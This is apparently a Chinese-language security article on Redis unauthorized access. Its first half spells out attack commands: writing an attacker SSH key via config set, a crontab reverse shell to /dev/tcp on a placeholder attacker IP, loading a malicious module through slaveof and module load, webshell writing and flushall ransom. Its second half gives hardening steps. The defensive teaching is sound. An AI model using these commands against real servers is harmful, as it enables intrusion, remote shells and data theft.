Redis未授权访问漏洞存在多年,但至今仍是互联网扫描器探测频率最高的漏洞之一。其根本原因在于Redis默认配置在可信网络内使用,导致大量暴露在公网的实例没有开启认证,或仅使用极弱的密码。攻击者一旦连上Redis端口,就等同于拥有了数据库的完全控制权。这种控制权可以直接转化为服务器操作系统的命令执行权限,进而导致数据泄露、勒索病毒植入、挖矿木马传播等严重后果。
理解这个漏洞的利用方式,首先要明白Redis的设计特性。Redis支持数据持久化,可以将内存数据写入磁盘文件。它还支持主从复制,允许一个Redis实例从另一个实例同步数据。这两个功能在正常运维中至关重要,但在攻击者手中就成了最锋利的武器。下面直接拆解几种主流利用手法,每一种都能在几秒内完成攻击链。
写SSH公钥获取系统权限这是最经典的利用方式,前提条件是Redis服务以root身份运行,且目标服务器开启了SSH服务。攻击者先用客户端连接Redis,查看当前数据库是否为空,然后通过config set命令修改数据持久化目录到/root/.ssh/,再修改持久化文件名为authorized_keys。最后用set命令将提前生成的SSH公钥字符串写入键值,执行save命令触发持久化。整个过程不需要任何复杂工具,仅用redis-cli就能完成。
redis-cli -h 目标IP -p 6379 config set dir /root/.ssh/ config set dbfilename authorized_keys set x "\n\nssh-rsa AAAAB3NzaC1...攻击者公钥...\n\n" save
执行完毕后,攻击者就能用对应的私钥通过SSH无密码登录目标服务器。这种手法的精妙之处在于完全利用了Redis自身的合法功能,没有触发任何缓冲区溢出或代码注入,传统的Web应用防火墙根本无从拦截。如果Redis不是以root运行,攻击者会尝试写其他用户目录,或者改用后续的定时任务方式。
写定时任务反弹Shell当SSH公钥写入失败时,攻击者会转向Linux系统的crontab定时任务。原理类似,将持久化目录改为/var/spool/cron/或/etc/cron.d/,文件名改为root或任意合法名称。写入的内容是一行定时任务指令,通常设定每分钟执行一次反弹shell脚本。反弹shell的地址和端口由攻击者控制,一旦定时任务生效,服务器就会主动连接攻击者的监听端口,返回一个交互式命令行环境。
config set dir /var/spool/cron/ config set dbfilename root set x "\n* * * * * bash -i >& /dev/tcp/攻击者IP/端口 0>&1\n" save
这种方式比SSH公钥更隐蔽,因为crontab文件通常不会频繁检查,而且反弹shell的连接方向是从内网向外,能绕过部分入站防火墙规则。但需要注意,Redis写入文件时会附加一些二进制头信息,可能导致crontab解析失败。有经验的攻击者会先清空当前数据库,或者用redis-cli的eval命令执行Lua脚本来精确控制写入内容,避免脏数据干扰。
主从复制模块加载实现命令执行Redis 4.x和5.x版本支持模块扩展功能,攻击者可以通过主从复制机制,将一个恶意编译的.so文件加载到目标Redis服务器中。具体操作是攻击者在自己控制的服务器上搭建一个恶意Redis主节点,并在该主节点上存放恶意模块文件。然后连接目标Redis,执行slaveof命令将其设置为攻击者服务器的从节点。主从同步过程中,目标Redis会自动从攻击者服务器同步数据,包括那个恶意模块文件。同步完成后,攻击者用module load命令加载该模块,模块中封装的系统命令执行函数就会注册到Redis中,攻击者随后可以任意执行操作系统命令。
slaveof 攻击者IP 6379 module load /tmp/exp.so system.exec "id"
这种手法的杀伤力极大,因为它不依赖写文件到磁盘,绕过了很多基于文件监控的防御手段。而且模块一旦加载,攻击者就获得了持久化的命令执行能力,即使后续断开主从复制关系,模块依然驻留在内存中。Redis官方在5.0.5版本后对主从复制的安全性做了加强,但存量的大量低版本实例仍然暴露在这个威胁下。
写Webshell获取Web权限如果目标服务器同时运行Web服务,攻击者会尝试寻找Web目录写入一句话木马。通过config set dir指定到Web根目录,dbfilename设置为.php或.jsp等可执行脚本文件名,写入的内容包含Webshell代码。这种方式成功率取决于攻击者能否准确猜解Web路径,常见路径如/var/www/html/、/usr/local/nginx/html/等。即使写入成功,文件内容中的Redis格式杂质也可能导致脚本解析报错,攻击者通常会配合免杀技巧,在Webshell代码前后加上注释符号或换行符来容错。
数据窃取与勒索并非所有攻击者都会立即获取系统权限。有些攻击专门针对Redis中存储的业务数据本身。通过keys *命令遍历所有键,再用get命令逐个导出敏感数据。电商系统的用户会话、游戏平台的玩家积分、金融系统的缓存交易记录,这些数据在Redis中以明文形式存储,一旦被拖库后果严重。近年来更常见的是勒索攻击,攻击者用flushall命令清空所有数据,然后写入一个名为“READ_ME”的键,内容是用比特币赎回数据的提示信息。这种攻击简单粗暴,对没有做持久化备份的Redis实例打击致命。
加固方案:从网络层到应用层的纵深防御修复Redis未授权访问不能只靠开启密码认证这一项措施,需要建立多层防线。第一层是网络隔离,也是最有效的一层。Redis服务绝对不应该监听0.0.0.0,必须绑定到127.0.0.1或内网IP。如果业务确实需要跨主机访问,使用防火墙或安全组策略严格限制来源IP,只允许应用服务器和运维跳板机的IP访问6379端口。云服务器上尤其要注意安全组规则,不要开放Redis端口到整个互联网。
# redis.conf bind 127.0.0.1 内网IP启用密码认证并设置强密码
在redis.conf中设置requirepass参数,密码长度至少20位以上,包含大小写字母、数字和特殊符号。注意Redis的密码认证是明文传输的,攻击者如果能在网络路径上抓包就能获取密码,所以密码认证必须配合网络隔离使用,不能作为唯一的防护手段。对于高版本Redis,建议使用ACL功能替代requirepass,可以创建不同权限的用户,实现更精细的访问控制。
# redis.conf requirepass 你的复杂密码 # 或使用ACL aclfile /etc/redis/users.acl禁用高危命令或重命名
config、flushall、flushdb、keys、save、slaveof、module等命令在正常业务中很少使用,却恰恰是攻击者最依赖的工具。通过rename-command指令将这些命令重命名为只有运维人员知道的随机字符串,或者直接禁用。重命名后,即使攻击者通过了认证,也无法修改配置或清空数据。需要注意的是,部分Redis客户端和监控工具会依赖config命令获取状态信息,重命名前要做好兼容性测试。
rename-command CONFIG "随机字符串" rename-command FLUSHALL "" rename-command MODULE "" rename-command SLAVEOF ""最小化权限运行Redis
绝对不要用root用户启动Redis服务。创建一个专用的低权限系统用户,只授予Redis运行所需的最小文件权限。这样即使攻击者通过Redis写入了SSH公钥或定时任务,也会因为权限不足而无法生效。Redis的数据目录、日志目录、配置文件都设置为该专用用户可读写,其他目录无权限。这个措施能阻断绝大部分写文件类型的攻击。
开启保护模式与日志监控Redis 3.2版本后默认开启了保护模式,当Redis没有设置密码且绑定公网IP时,保护模式会拒绝外部连接。确保生产环境中保护模式处于开启状态。同时配置完善的日志记录,将日志级别设置为notice或warning,记录所有连接和命令执行情况。将Redis日志接入集中式日志分析平台,设置告警规则,当出现config set、slaveof、module load等敏感命令时立即触发告警通知安全团队。
定期更新与漏洞扫描Redis官方会定期发布安全更新,修复已知漏洞。运维团队应建立Redis版本管理机制,及时升级到最新稳定版。同时将Redis未授权访问检测纳入日常漏洞扫描流程,使用内部扫描工具或开源工具定期对全量资产进行6379端口探测,确保没有遗漏的未授权实例。对于容器化部署的Redis,基础镜像中就要完成安全加固配置,避免每次扩容都产生新的暴露面。
Redis未授权访问的利用手法看似多样,但核心都围绕着其强大的数据持久化和主从复制功能展开。防御的关键在于切断攻击者接触Redis的路径,限制Redis自身的文件操作能力,以及降低Redis进程的系统权限。这三道防线任何一道生效,都能阻止攻击链的完成。安全团队应该以“假设Redis已经被攻击者连接上”为前提来做加固,而不是寄希望于攻击者找不到你的Redis端口。
